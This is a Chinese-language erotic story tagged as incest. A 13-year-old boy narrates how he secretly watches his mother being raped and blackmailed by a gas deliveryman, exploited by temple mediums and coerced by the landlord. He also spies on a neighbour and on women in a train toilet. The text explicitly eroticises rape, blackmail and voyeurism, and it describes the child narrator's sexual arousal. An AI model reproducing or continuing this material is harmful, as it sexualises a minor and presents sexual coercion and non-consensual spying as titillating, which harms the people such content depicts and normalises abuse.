妈妈的经历[家庭乱伦]

 

  妈妈的经历

  作者:狐生

  阿豪(13岁时), 吃饭了, 赶快回来…, 当我在巷子内与其他家的小孩玩过五关正高兴的时候, 妈妈从家门头探着头喊道.

  妈, 等一下啦, 我们快赢了, 我与同国的人正用飞跃方式将对方国的一个一个从关卡内干掉, 没多久, 杀光了对方后, 大家一哄而散, 各自回家了, 我全身玩得髒兮兮的回家, 看见妈妈满头大汗的正把菜端到餐厅, 妈妈叫我赶快去洗澡, 我问她说, 在哪洗?

  我们家是中式两层楼房, 与隔壁房东郑伯伯(约60岁)家刚好组成一个倒ㄇ字型, 从中分开一家一边, ㄇ字型的中间, 一楼是盖顶的厨房, 二楼是面对面的阳台, 两家的阳台很接近, 不到三公尺, 而且底部的边缘还相连, 阳台尽头各有一间浴室, 一楼的厨房旁边也有一间浴室, 浴室旁则是放瓦斯筒的储藏室, 楼房是属于长深型的, 从前院要经过客厅, 餐厅, 厨房, 浴室才到储藏室.

  妈妈回答说, 就在一楼洗, 于是我就跑进去厨房旁的浴室把衣服一下子就脱了, 打开洗脸盆的水龙头热水钮, 放着水流等着水温变热, 再跑出来倒开水喝, 玩了一下午快渴死了, 这时听见妈妈在浴室旁的炉子前面说道, 怎幺瓦斯用这幺快, 又快没气了, 我转头看见炉子的火越来越小, 接着妈妈就把炉子开关转死, 将火灭熄, 并看着我说赶快进去洗, 天气热死了, 她等一下也要洗澡, 她先去打电话叫瓦斯.

  于是我就进了浴室, 开始舀着热水洗澡, 过了不久, 从浴室的门上看见妈妈走过来了, 那浴室的门是旧式的门, 上半部是半透明的雾玻璃, 下面则为木板的门, 脸盆旁边的墙上则有一扇通瓦斯筒那个储藏室的大窗户, 平常怕浴室潮湿, 都会打开一条宽约20公分的缝通风, 妈妈已经把她的衣服脱下, 只穿着内衣裤进来.

  妈妈那时年约39岁, 身高约161公分, 胸部约34吋, 臀部约38吋, 非常标準的女人身材, 我看见她只穿内衣裤, 有点色色的看着她的奶罩与胸部, 我很调皮的把水溅的到处都是, 妈妈身上也被我弄得很溼, 包括内衣裤都溼透了, 后来我洗完后, 就说了声我先出去看电视, 她叫我在浴室门口等一下, 说完她就开始把奶罩与内裤脱掉, 并叫我把她的内衣裤拿到外面的栏子里準备洗, 于是我拿了她的衣裤就把浴室门用脚踢回, 但力气不够大, 门只是轻轻的卡在门槛上而已.

  回到客厅打开电视机, 刚好我最爱的卡通-顽皮豹, 正準备上演. 就在刚开始看的同时, 门铃响了, 我推开客厅纱门问是谁, 只听见一个粗壮的声音说送瓦斯筒的, 由于我已经不是第一次帮送瓦斯筒的开门, 因此我就直接到院子里把门打开, 然后按着客厅的纱门让他进来, 只见一个孔武有力的年轻壮汉, 面带兇恶的扛着瓦斯筒进来, 我见过这个人, 他也不是第一次送瓦斯筒来我家, 我不喜欢他, 因此我就看我的电视不理他, 那个壮汉就直接经过餐厅, 厨房, 浴室, 到储藏室去了.

  我看着顽皮豹, 被剧情搞得笑昏了头, 早已忘了送瓦斯筒这事, 不知到过了多久, 听见妈妈喊我, 我赶紧的跑过去, 只见那个送瓦斯工人面带冷笑的看着我, 妈妈在浴室内用颤抖的声音说道, 阿豪, 你先带他去楼上的阳台, 我们家的热水器好像有点问题, 妈妈请他顺便帮我们检查一下, 我答应了一声说好, 就头也不回的往楼上跑, 那个工人也速度很快的跟在我后面.

  到了楼上, 只听见他说道, 阿豪, 接下来我自己来, 你先下去看电视, 我就又跑了下来, 这时我看见妈妈从浴室走了出来, 她用一条溼毛巾遮住了自己的下身, 裸露着双乳, 头髮上还有肥皂, 我跟她说, 妈, 妳头髮还有肥皂耶, 她全身抖着说, 没关係, 妈知道, 我说妳怎幺一直发抖, 发生了什幺事, 妈妈苦笑了一下, 叹口气说, 你去看电视吧, 我看着妈妈把那条溼毛巾丢进水桶中準备洗, 全身赤裸的走上楼, 我觉得很纳闷, 但还是跑回客厅看电视去了.

  我继续看着卡通, 听到楼上传来了床脚的移动声音, 不久又听到东西掉在地上的声音, 我心想反正妈妈在楼上, 我不用上去, 到了快七点钟, 我看见那个瓦斯工人神情愉快的走进客厅, 并推开纱门离开了我家, 不久, 妈也下来到餐厅, 我听见她倒了一杯水在喝, 我就走过去餐厅跟她喊我好饿, 这时妈包着一件大浴巾, 她头髮很乱, 她说, 阿豪, 妈的头髮还没洗完, 等我一下吧, 我就说好吧, 那我再去看电视好了.

  这时, 妈把我叫住, 她说, 阿豪, 今天的事不要跟你爸爸说, 我说什幺事, 叫瓦斯桶的事吗? 妈摇了摇头, 我再问说修热水器吗? 妈点了头, 她说, 热水器检查过没有坏, 我问妈说, 那为什幺会有东西掉在地上的声音, 妈想了想说, 那是妈拿皮包付瓦斯钱不小心把皮包掉在地上, 我说好, 就跑回客厅了.

  后来, 在我的记忆里, 那个工人只要来我家换瓦斯筒, 就会上楼检查热水器, 妈也一定会陪他上去, 而我却不准跟上去, 妈妈说, 检查热水器很危险, 不小心就会被电到, 我竟然相信这种说法, 一直到有一天我在楼上睡午觉, 睡到一半听到妈妈的房间床上传来吱吱喀喀的声音, 因为我与爸妈的房间是用一道木板墙隔着, 而且只隔到离天花板还有20公分就没了, 于是我就被吵醒了.

  我听见那个送瓦斯的工人说, 我想死妳了, 终于等到妳叫瓦斯了, 我还以为妳準备不叫我们的瓦斯呢, 接着我听见妈妈冷冷的说, 废话少说, 要做就快一点, 免得等一下我儿子醒了, 事情闹大就不可收拾了, 话一说完, 我就听到那工人亲妈妈的声音, 这声音我平常有听过爸爸亲妈妈的时候发出过, 接着我就听到两堆肉撞在一起的肉击声, 很有规律的啪…啪…啪, 持续了好几十分钟, 妈妈不断的在呻吟着, 偶尔发出唉吆唉吆的声音, 我觉得很奇怪, 就很小心的下床, 赤着脚往妈妈的房间走去.

  门没有关, 我躲在门缝看房间里面, 只见妈妈两腿分开, 被工人举得高高的, 那个工人的屁股很大, 不断的前后摆动, 肉击声就很有规律的发出, 妈妈的声音也跟着工人的屁股时大时小, 过了一段时间, 只见工人突然动作加快, 然后啊的一声静止不动, 接着整个人倒在妈妈的身上, 我看见妈妈很用力的把工人推到床的另一边, 妈妈两腿分得开开的, 我看见了妈妈两颗奶子还在晃动, 肚脐下的乌黑阴毛与阴唇.

  妈妈一边骂着工人说你还要烦我多久, 一边拿了一条毛巾把工人的阳具举起擦乾净, 然后妈妈站起来把铺在床上的浴巾抽起裹在身上, 这时工人已经站起来穿衣服, 我赶紧掂着脚走回床上装睡, 不久, 那工人与妈妈站在二楼的楼梯口, 我听见用力的亲吻声音, 然后听见妈妈不耐的说道, 你赶快走好不好, 工人说了一句, 妳最好给我乖点, 不然妳儿子就给我小心了.

  我听见妈妈小声的走到我床边, 我把头侧一边装睡, 妈妈站了几秒钟就出房间了, 她走到二楼的阳台外, 我听见她收着衣服的竹竿碰撞声, 然后我也听到了阳台外的浴室门打开, 妈妈开着水龙头放水, 我猜是妈妈要洗澡了, 于是我就轻声的走出房间往阳台移过去, 这时妈妈全身赤裸的在收衣服, 她已经把浴巾丢在浴室旁的栏子内, 準备换洗, 然后她把收下来的衣服先叠成一堆放在阳台上, 拿了一条小毛巾就进去浴室内.

  门不但没关, 而且全开, 我正觉得奇怪, 就发现对面的阳台上有人, 是我们的房东郑伯伯, 他一个人躲在他家批在竹竿上的一件被单旁, 利用被被单遮住他的身体, 然后探着头看着我家的浴室里面, 妈妈正在哼着歌, 这时水声停止, 我听见双手在洗头髮的声音, 过了不久, 妈妈开始舀水沖头髮(那时我家没有涟蓬头), 我看见妈妈的屁股露出了一半在浴室门外, 她应该弯着腰在沖头髮, 我转头看见郑伯伯整个人已经站到被单前面, 手扶着眼镜全神贯注的看着妈妈全裸的背部与臀部,

  妈妈洗头洗了快十分钟, 这中间郑伯伯一动都没动, 直到妈妈把舀水杓子放在地上, 拿着毛巾在包头髮时, 郑伯伯立即退回被单后面, 接着没多久, 妈妈开始洗澡, 她哼着歌, 洗了约五分钟后, 她拿了一个脸盆装满水放在地上, 然后蹲了下去, 我看见她的屁股微露在浴室门外, 用一只手在洗她的阴户与屁股, 水喷得到处都是, 我小时候曾经看过妈妈这样洗屁股, 只见郑伯伯一手扶着栏竿, 一脚踩在阳台边整个人站得高高的在看妈妈洗屁股. 妈洗了约两分钟后站起来, 把浴室清洗一下后, 就光着身子走回阳台, 拿了一件新的浴巾包在身上后, 就往房间走来, 当然, 我已经偷偷溜回房间躺在床上装睡了, 隔壁的郑伯伯则趁妈妈清理浴室时回二楼房间去了.

  至此, 我发觉妈妈有裸露身体的倾向, 由于我是国一学生, 同学间都会传递一些色情书刊, 对女人的身体有着极大的兴趣, 我也刚在发育, 底下已长个几根毛出来, 我本来认为只要是在别人面前赤身裸体的女人, 都是刊物中的那些女人, 万万想不到今天被我发现妈妈全身赤裸的在阳台收衣服, 打开浴室门洗头洗澡, 让隔壁的郑伯伯把妈妈当成色情书刊中的女人般的观赏, 再加上那个送瓦斯的工人与妈妈在床上做爱的那一幕情景, 我开始把妈妈当成是色情书刊中的女人, 也开始注意她跟任何一个男人交往谈话的内容, 后来的发现让我震惊, 渐渐的我麻木了, 最后变得无所谓.

  妈妈有拜神的习惯, 我常陪着她去一个圣宫拜拜, 那边的神会轮流附身在一位乩童身上, 我都称那位乩童为阿叔(台语), 阿叔年约45岁, 阿叔对我特别好, 一样在圣宫里有许多来朝香的小孩子, 但是我每次都可以在阿叔的办公室里写功课, 吹电扇, 我本来以为是阿叔比较喜欢我, 因此当妈妈说要去拜拜时, 我都会自愿陪她去, 但我也渐渐的发觉每次别人去拜, 大概20分到半个小时就走了, 我每次都要在那边待一个小时以上, 而且妈妈都是拜完后就不见了, 她都会要我去阿叔办公室内写功课等她, 于是我决定把这事情查清楚.

  在一次例行拜神的上香后, 照例妈妈又叫我去阿叔办公室等他, 我假意的点头说好, 就看见妈妈一个人偷偷的溜到圣宫后院子去了, 我马上跟了上去, 经过圣殿时, 空无一人, 我的妈呀, 到处是神桌, 还有七爷八爷, 我吓得不敢呼吸的往后院走, 到了快到后院时, 有一个楼梯, 我看见妈妈的鞋子脱在旁边, 于是我也脱了鞋子, 轻轻的上楼, 还好是磨石子楼梯, 穿袜子走没有声音, 到了二楼, 安安静静的, 没人, 我继续上三楼的楼梯.

  还没到三楼时, 就听到妈妈的声音说, 歹势啦, 我不知道你弟弟也在, 我明天再来好了, 我听到阿叔的声音说, 没关係, 他是我弟弟, 自己人, 妳免惊歹势, 他也会帮人渡运, 然后我听见妈说道, 好吧, 那就好, 还是一样要擦符水吗? 阿叔说, 对, 这边已经有一个盆子装好符水了, 妳先把衣服脱下来, 今天由我弟弟帮妳渡运, 他叫做阿海, 妳跟我一样叫阿海就行了, 妈说了声好以后, 就听到她在脱衣服的声音, 这时, 我偷偷的把头伸出楼梯旁, 看见三楼客厅又有一个神桌, 我的头刚好躲在几个圆椅头的脚旁, 我从椅脚的细缝可以看见整个客厅的情景.

  妈妈把衣服脱到剩内衣裤时, 望着阿海, 阿海告诉妈妈, 通通脱掉, 不然法力会无效, 于是妈妈就把奶罩解下, 三角裤退下大腿, 我又想起了色情书刊内的女人, 妈妈的两颗漂亮奶子微微颤动着, 浑圆雪白的屁股, 有着大片浓密阴毛的下体则正对着神桌, 就这样赤裸的站在两个壮年男子的面前, 阿叔点了一柱香, 拿给妈妈, 喊了声, 跪下.

  妈妈就举香跪在神桌前, 阿海这时拿着一小块毛巾, 在盛符水的桶子内沾了一些水后, 口中唸唸有词, 站在妈的面前, 先帮她洗脸, 接着擦拭着胸部, 只见他一手捏着妈的左乳, 另一只手用毛巾则轻擦着妈的右乳, 妈的一颗右乳竟然被擦了十几次, 我看见妈的乳头开始挺立, 只见妈闭着双眼, 虽极力保持庄严, 但阿海在擦她的右乳头时, 妈的嘴巴却又微张的喘息着, 接着左乳, 肚子与臀部, 接着是大腿, 最后阿海整只手拿着毛巾伸进妈跪坐着的大腿深处, 用手掌按着毛巾的方式开始擦拭妈的整个阴部, 只见妈妈发出了嗯嗯的声音, 阿海擦了快五分钟, 妈妈的声音越来越大声, 本来挺立的跪姿渐渐把腰弯了下来.

  这时阿叔上前将妈妈的香拿走, 往前插在小香炉上, 走过来扶着妈妈站起来, 口中说道, 好了, 已经做法做完了, 要不要进去陪阿海一次, 只见妈妈难为情的点点头, 阿海就过来很体贴的把妈妈抱起, 往三楼的房间走去, 阿叔则把妈妈的衣服捡起, 跟在阿海后面也进了房间, 我的位置也看得到房间的一部份, 只见妈妈被放在床上后, 阿海与阿叔都很快的脱光衣服, 然后阿叔说, 阿海, 你罕走(台语), 你先, 阿海就上了床, 把妈妈的两腿分开举起, 将他的肉棒直插了进去, 妈妈开始发出淫声, 阿叔则走到妈妈的头旁边, 将妈的头举起, 说了声, 用吹的(台语), 然后妈就张开嘴巴将他的肉棒含入嘴里面, 只见阿叔望着阿海得意的说了声, 这样她就惦惦了不会哎来哎去(台语), 阿海点头哈哈一笑, 继续猛插着妈妈.

  我受到强烈的震撼, 整个人呆呆的, 我安静的慢慢下楼, 穿好鞋子, 经过后院旁的七爷八爷, 望着祂们, 然后走向阿叔办公室, 我拿了报纸摊在桌上, 眼睛看着报纸, 脑袋里面却想着刚刚的情景, 我没有生气, 也没有失落, 只是很好奇妈妈为什幺会这样甘愿受人摆布. 我下了决心, 这个原因我一定要追查出来.

  第二天下午, 我在客厅看电视时, 接到隔壁郑伯伯的电话, 他要找妈妈, 只见妈妈很快的答应说要过去交房租后, 就沉默不语的听着电话, 过了一段时间, 我听到妈妈说好, 我会这样做, 然后就把电话给挂了, 接着妈妈就上楼去, 一下子就下来楼下走到客厅, 跟我说要去隔壁郑伯伯那边交房租, 叫我自己在家, 我满口答应, 这时我发觉妈妈换了睡衣, 那是一件很薄的睡衣, 没戴乳罩, 两个黑色大奶头撑在睡衣上, 睡衣的长度刚好盖住臀部, 好似超短迷你裙, 下身穿着一件红色三角内裤, 穿了拖鞋就走了.

  等她门一关上, 我立即冲上二楼阳台, 在听见隔壁的电铃声时并确定郑伯伯已在一楼要去开门时, 我就从阳台旁的边缘爬到郑家阳台去, 然后我很小心的进了二楼房间靠近了郑伯伯家二楼房间旁的楼梯口, 从这边可以很清楚的听到一楼餐厅与客厅的谈话, 只听见我妈妈与郑伯伯寒喧了几句后, 郑伯伯要请我妈妈坐, 妈妈说了声谢谢后就坐在沙发椅上, 郑伯伯乾咳了两声说道, 妳知不知道为什幺我打电话要妳亲自过来.

  妈说知道, 因为如果不过来, 怕你会把我跟瓦斯行工人的事跟我先生讲, 郑伯伯笑着说, 嗯, 妳很识相, 也算妳活该, 偷汉子偷到阳台旁, 被我看到, 我妈说, 是他强硬要抱我去阳台的, 我无法反抗, 所以被你看见, 既然你要趁火打劫, 我无话可说, 郑伯伯嘿嘿的笑了两声, 说道, 妳穿这件睡衣过来, 又不穿外裤, 妳坐着时妳的睡衣根本跑到妳的腰部去了, 整件内裤露给出来给我看, 还大红色的哩, 我看妳是準备用一样的方法塞住我的口吧! 不待妈妈回答, 郑伯伯说了一声, 脱吧.

  我听见妈叹了口气后, 把睡衣脱掉的声音, 又接着把内裤脱掉的声音, 只见一片沉默, 妈说了, 脱衣服ㄚ, 老伯, 别光看嘛, 这时, 我忍耐不住, 偷偷的走到了一楼餐厅的暗处, 蹲着往客厅看, 只见郑伯伯看着全裸的妈妈, 妈妈蹲在郑伯伯前帮他解开皮带, 脱掉长裤, 接着把郑伯伯的汗衫脱掉, 然后是内裤, 我看见了一个全裸的老人扶着那根软肉棒站在一个全裸的少妇面前, 妈二话不说把郑伯伯的软棒子含进嘴里.

  老伯颤抖的双手摸着妈妈的两颗乳房, 妈妈的头前后摆动, 过了几分钟, 那根老棒子终于硬挺了一些, 于是就妈妈站起身来, 用手一边抽弄着老伯的肉棒, 并拉着那根肉棒引导老伯走向沙发, 準备让老伯肉棒插入自己的体中, 忽然间, 郑伯伯哎了一声, 只见郑伯伯的精液喷到了妈妈的大腿上, 老肉棒立即软了下去, 妈妈手插着腰瞪着郑伯伯的老棒子, 说道, 你怎幺这幺快就射了, 郑伯伯满头羞愧的说, 对不起, 我年纪大了, 不行了, 这样好了, 妳躺在沙发上, 让我摸个过瘾,今天就这样算了, 以后的以后再说.

  妈妈点点头很乖巧的躺在沙发椅上, 郑伯伯坐在妈妈的大腿旁, 一手不断的揉着妈妈的乳房, 一只手一直在妈的阴户上抠弄, 只见妈的屁股在沙发椅上扭来扭去, 没多久妈妈的招牌淫叫声, 唉吆唉吆的四起, 郑伯伯边亲吻着妈的肚子边说, 我有几个要求, 妳只要做到, 妳跟那个瓦斯行的事就不会被说出去, 妳听好, 第一, 以后妳要在二楼洗澡, 最好是白天, 省得被你先生知道, 浴室门不准关. 第二, 每个月来付租金时都要穿像今天这样性感, 不管我那天行不行, 都要跟今天一样让我摸个够. 第三, 我随时想要, 妳就要过来, 当然啦, 我一定会在白天找你, 你先生每天早出晚归, 忙得半死, 晚上妳去服侍他, 也是应该的. 妈一边呻吟一边点头答应, 我看了这情景, 便轻轻的退到二楼, 翻过阳台回我家去了.

  我坐在书房内想着事情的原委, 一开始瓦斯工人送瓦斯来时, 从储藏室的窗户看见了正在洗澡的妈妈, 然后又发现浴室门没有关, 于是色心大起, 要强暴妈妈, 为了让妈妈就範, 于是利用我威胁妈妈, 所以妈妈与他发生了肉体关係.

  接着是妈妈去求神消灾, 跟阿叔讲了这事, 阿叔假借要帮妈妈渡厄运, 然后用符水帮她去运, 去运时就用巾擦拭妈妈的身体, 有技巧的将妈妈的性慾挑起, 然后抱去房间, 阿叔也一定告诉他的弟弟阿海, 说有个女人被他给勾上了, 阿海听了也要, 于是阿叔就安排他弟弟上了妈妈.

  有一次瓦斯工人把妈妈干得性起, 因他身强体壮, 就把妈妈抱着, 一边插着妈妈一边走到阳台去, 郑伯伯刚好在阳台旁, 被他看见了, 再家上妈妈常在二楼阳台旁的浴室洗澡, 门没关, 被郑伯伯从头看到尾, 因此郑伯伯趁着收房租时要胁妈妈, 妈妈只好任他摆布.

  我对于我的推理很满意的点点头, 喊了声, 一定就是这样, 谁知道房门外传来妈妈的声音问道, 阿豪, 你说什幺事一定就是这样, 我当场吓得说不出话来, 问妈道, 妈, 妳回来了, 妈妈说, 对ㄚ, 妈回来了, 我说, 我刚才在看智力测验的问卷啦, 妈妈哦的一声, 说, 阿豪最乖了, 妈先去洗澡, 等一下再切水果给你吃, 我甜甜的说了声, 谢谢妈妈.

  就听见妈妈走向阳台旁的厕所去了, 我轻轻的又跟了出去, 果然妈妈已在阳台脱光了衣服, 把会遮住视线的晾晒衣物收起, 然后打开浴室门大开着, 隔壁的郑伯伯则早已经拿着板凳坐定, 点着烟, 毫不躲藏的看着全身赤裸的妈妈洗澡….(续)

  就这样看着妈妈与阿叔, 郑伯伯和送瓦斯的人暗通款曲的过了一年, 我发觉妈妈已经把跟他们的性交当做例行公事, 而且次数越来越频繁, 我每天要上学, 有时候在四点多放学回家后, 会看见妈妈从郑伯伯家中跑出来, 都穿得很少, 她赶紧打开大门进家里, 虽然时间很短暂, 但已经被几个邻居妈妈看见了, 于是话开始传开了.

  有一次, 我家对面的周妈妈(她跟我妈年纪一样大), 趁我去她家找他儿子玩时, 问我说她常常看见我妈妈去隔壁家, 是去干什幺, 我傻傻的说道, 去交房租, 周妈妈摇着头不信的问说, 哪有一个礼拜交好几次房租的, 此时坐在周妈妈旁的周伯伯说, 唉, 妳不要问小孩子这种问题, 他不懂的啦, 周伯伯年约48岁, 酷爱游泳, 全身黝黑, 肌肉结实, 周伯伯慈祥的对我说, 你上去找志明吧, 我向周伯伯说了声谢谢后, 就上楼去了.

  志明把一堆色情书刊与照片拿出来, 说, 今天拿到的, 快, 好好看一看, 我们就把门锁着看起了成堆的照片与书刊, 边看边想着妈妈也是其中的一个, 心中有着荡漾的感觉.

  我看了一下子, 我感觉肚子涨涨的, 就跟志明说我要去上个厕所, 志明就交待我房门要反锁, 免得被他妈妈进来看到这些书, 那就完了, 我很小心的把门反锁, 志明的家跟我家一样是中式两层楼, 但是为长方形的, 没有阳台与隔壁面对, 二楼虽然也有厕所, 但是那是主人房内的厕所, 通常我们都不会进去那个房间, 但今天我只想着赶快回来看那些色情书刊, 因此就往二楼的主人房方向走去, 结果走到门口, 我听见了周伯伯的声音.

  本来我要转身离去下楼上厕所, 但是我听到了周妈妈说"阿豪他妈妈真是下贱"这句话, 我立即轻轻的接近主人房, 只听周妈妈说道, 真是不要脸, 穿着睡衣就到隔壁去, 还付房租, 我看是偷男人, 周伯伯说, 春雪ㄚ(周妈妈的名字), 妳不要这样子嘴巴坏, 妳跟她是好朋友, 她偷人又不是偷到妳老公, 妳气什幺, 周妈妈说, 她家还一天到晚有送瓦斯的工人进出, 哪那幺会用瓦斯, 周伯伯说, 妳管别人这幺多干嘛, 阿豪他妈妈的身材也不错, 脸旦甜甜的, 哪个男人看了不心动, 只听见周妈妈说, 死鬼, 你敢, 周伯伯说道, 我也很想看看她穿睡衣的样子, 妳可以帮帮我的忙吗?

  周妈妈说, 门都没有, 你不要作梦了, 周伯伯哀求的声音说, 我们都老夫老妻了, 妳也帮过我把大姊送给我搞了好几次, 再帮我一次嘛, 我内心震撼, 这个大姊是周妈妈的大姊, 我们都叫她大姨, 住高雄眷村, 老公因公殉职多年, 目前寡居, 周妈妈没反应, 周伯伯又说, 上次我也安排了年轻的美国游泳教练给妳, 妳不能只顾自己不顾别人喔.

  只听见周妈妈说了, 你要上阿豪的妈妈可以, 但是我要在场, 不然你这老色鬼在爽的时候又会答应什幺条件给别人, 我可不知道, 上次妳差点把一栋房子送给大姊, 还好她是我姊姊, 不会闹大, 不然我损失就大了, 周伯伯感激的说, 那就先谢谢娘子妳的恩赐啦, 周妈妈冷笑着说, 嘿, 是她自己淫贱的, 怪不了我, 这两天就弄来给妳, 周伯伯高兴的说, 太好了, 我现在要赏赐妳一下, 接着我就听见周妈妈被压在床上的声音, 然后开始发出淫叫声, 我不想听下去, 就巧巧的下楼去了.

  隔天, 我放学回家后, 果然看见周妈妈在我家与我妈聊天, 她们聊的不外乎是我妈都煮什幺菜啦等等的话题, 我猜大概是周妈妈在出估算我们家的瓦斯用量, 不一会儿, 周妈妈说要上厕所, 就走进了厨房边的浴室里, 我心中想替妈妈报仇, 因为周妈妈昨天骂我妈骂得很难听, 于是我就假借打翻了茶杯, 然后赶紧跑去放瓦斯筒的储藏室拿拖把, 妈妈骂的很大声, 说把沙发跟地上都弄溼了.

  我边跑边回说我去拿拖把来拖地, 然后就轻轻把储藏室的门打开, 眼睛立即从窗户缝间瞄了进去, 只见周妈妈背对着我蹲在地上小便, 一股大尿注往蹲式马桶直喷(我家那时楼下厕所没有坐形马桶), 我看着她的雪白的大屁股, 真是有够大, 她小便完后, 拿了一张摺好的卫生纸擦拭着屁股中间, 然后弯着腰站起来, 就在这时我看见了周妈妈的两片屁股中间夹着大块的肉与大片黑毛, 我那时很纳闷为什幺女人的阴户在半蹲着时会跑到屁股后面.

  我赶紧拿了拖把, 回到客厅拖地, 周妈妈不久就出来了, 她很殷勤的跟我妈妈说, 下週刚好学校放春假也是清明节, 她大姊找她还有志明去高雄眷村住几天, 志明希望我也去, 她则希望我妈妈陪她去, 妈妈点头说道, 要跟我爸爸商量一下, 再回答她, 周妈妈临走时一再的要我妈妈明天回覆她, 妈也点头说好.

  晚上, 妈跟爸爸提了这事, 爸问说还有谁去, 妈妈说就只有我与周妈妈和志明四个人去, 爸爸点头说好, 但是要春假前一晚才能去, 不然家里没看顾不行的, 妈点头说好. 第二天, 妈告诉周妈妈说要春假前一晚才能出门, 周妈妈说那会塞车塞死喔, 妈说没关係, 她跟我坐火车去, 周妈妈说好吧, 那她会早一天出门, 志明也请了一天假, 提早一天南下高雄, 她们会在高雄的大姐家等我们, 于是周妈妈就高兴的回家去了, 我也很高兴, 但是不知道在高兴什幺, 只知道又有好戏可以看了.

  过了几天, 令人盼望的日子来到, 只见这天白天妈妈有够忙, 中午一吃饱饭就跑去隔壁郑伯伯那边, 过了一个小时才回家, 就直接上楼洗澡去了, 然后不久瓦斯工人也来了, 我终于第一次叫他的名字, 阿田叔, 他拍了拍我的肩膀, 面带微笑的问我, 妈妈呢, 我回说在楼上洗澡, 她叫你直接上去, 阿田叔开心的笑了一声, 问说, 是这样交待的ㄚ, 我点了点头, 他就上楼了, 过了一个半小时才下来.

  他们一起下楼时, 我听见妈妈跟他说下礼拜再见, 阿田叔轻轻的说, 等妳回来, 我听见了小声的接吻声, 接着, 阿田叔就出现在客厅, 跟我点个头就开门离开了, 妈妈一见他走后, 马上就问我说你为什幺说我交待你让他直接上楼, 我故意装得很委屈的说, 妳自己每次都跟他上楼的嘛, 我这样说省得跑上去问妳, 而且就算问妳, 妳也一定会交待我带他上楼的, 妈很难为情的笑了笑说, 真是个傻孩子, 我心中暗暗爽, 妈妈对我是越来越没有戒心了.

  傍晚, 爸爸回家后, 我与妈妈跟爸爸道别就直接去台北车站, 由于清明节人潮汹涌, 我们看来看去最后只买到了夜车的火车票, 出发时间晚上11点, 抵达时间早上6点50分, 随着火车进站, 只见到一堆人冲上车, 我跟妈妈很少搭长途火车, 等轮到我们可以上车时, 几乎都快上不去了, 我跟妈妈还是硬挤了上去, 不过只能走到厕所旁就再也进不去了, 就这样我跟妈两个人一路站, 面对着厕所, 燻的半死.

  偶尔有一两个人忍不住挤过来上厕所, 我跟妈都要侧身让他们进去, 男的都只把门拉上, 但是火车随便一摇, 门就又开又关的, 火车的厕所是用蹲式的, 男的根本对不準, 每个人都洒了满地, 妈妈完全没地方躲, 我发现她的目光都在门滑开时偷望着在里面小便的男人, 有几个害羞的会背对着我们, 但有几个中年的会站侧面小便, 故意让妈妈看见他们的肉棒, 妈妈则会脸红红的显得很不好意思.

  女的来上则是会用铁钩勾住门, 但是火车的晃动还是让那个门微开, 大概有3-5公分的间距, 这时就轮到我与我们旁边的男生大饱眼福了, 大家都假装没事, 但眼睛都飘到同一个细缝内, 由于厕所内的灯很亮, 外面走道比较昏暗, 因此那些女人都看不见门缝外一双双色咪咪的眼睛, 妈妈也不知道在我们这个位置可以大饱眼福, 她以为只有门滑开才看得见厕所里面.

  有些女人穿裙, 很方便, 我们就只有靠运气才看得见阴户了, 穿长裤的女人就惨了, 她们先要把裤子脱下来摺好放一边, 不然铁会在摇晃的厕所内溅溼长裤, 然后拉下内裤背对着我们洒尿, 洒完后站起来面对我们穿裤子, 下场就是被我们几个大小男人看得爽死, 她们真的有够倒楣.

  我旁边站的都是年轻的男子, 有几个一直看着妈妈在看别的男人洒尿时的表情, 妈妈时而脸红时而故作镇静, 他们的眼光不久转到妈妈的胸部, 毕竟在长时间的窄小空间内, 看异性的身体想入非非是最可以打发时间的, 我发现有人看着妈妈的裤子, 妈妈穿一件白色的低腰紧身喇叭裤(那时候很流行), 那件裤子把妈妈的下部绷得紧紧的, 也把妈妈的内裤轮廓衬托出来, 妈妈上身则穿着一件白色紧身套杉, 她的胸部在这个窄狭的空见内显得很突出, 而且套衫很短, 随着火车的摇动, 不时的露出肚脐与臀部上方的腰身, 只见大家的眼光都轮流在妈妈的身上各部位打转, 我们周围附近就只有妈妈一个女人, 在三更半夜的夜车上, 只要是男的大概都会盯着她看.

  到了凌晨三点多, 大家快累毙了, 空气又差, 大家哈欠连连, 这时妈妈突然轻轻的碰我一下, 我马上转头问她干嘛, 她有点难为情的小声说, 她想上厕所, 我马上睡意全消, 故意将声量提高了一点反问, 妳是说妳要上厕所吗? 这下子, 我周围的男的全都醒了, 有几个头抬了起来看着我妈妈, 我看得出他们的眼神变得很锐利, 妈妈更难为情了.

  妈故作镇静的说, 你帮我拿着皮包, 妈去上厕所, 我说好, 同时我把身体从厕所门旁让开一个位子, 站到妈妈原本站的位置上, 在妈妈把厕所门的钩子勾上以后, 我竟发现我挤不回去了, 我有点火, 于是稍微用力的挤了一下, 终于比较靠近门缝边了, 只见妈妈先拿出几张卫生纸摺好, 就开始脱裤子, 这时我发现旁边一个年轻的男子用他的手提袋顶着厕所门, 故意把门缝固定住, 门不摇了, 且被撑开到最大的缝, 大约有五公分, 此时妈妈的一举一动, 都被包括我在内的五六个男的看得一清二楚.

  妈妈的裤子已脱下, 她今天穿着红色内裤, 我听见有人吞了口水, 接着妈妈背对着我们, 把她的内裤拉到大腿中间, 然后走到蹲式马桶上面, 再把她的内裤拉到膝盖, 然后蹲了下来, 我看见妈的大屁股中间那个黑团, 接着一抛尿喷了出来, 很有力的冲向马桶口内, 大家都看呆了, 这时火车突然一阵摇晃, 只见妈妈没蹲稳, 一屁股跌坐在地上, 地上都是别的男人的尿水, 我心想这下子惨了, 只见妈妈摇摇晃晃的站了起来, 刚刚雪白的屁股现在变得有点污痕, 还在滴水(尿), 她的红色内裤后面全溼了.

  只见妈妈摇着头, 背对着我们, 把她的内裤脱了下来, 然后赤裸着下半身, 慢慢转过来走向洗手檯, 我们几个看着她诱人的下体, 乌黑浓密的黑毛, 底端的黑毛还溼溼的, 大家都摒息以待, 她把内裤拿起先在洗手檯泡水, 泡上后她拿了一叠卫生纸, 一张一张沾水, 然后背对着门蹲着擦着她的屁股与阴部, 这情景简直比黄色电影还要黄, 擦了五六张卫生纸后, 妈妈的大腿与屁股还是溼溼的, 卫生纸已用完, 妈摇着头, 站了起来, 面向着门口走了过来, 我与旁边的人都赶紧把头转向, 当作什幺事都没有发生.

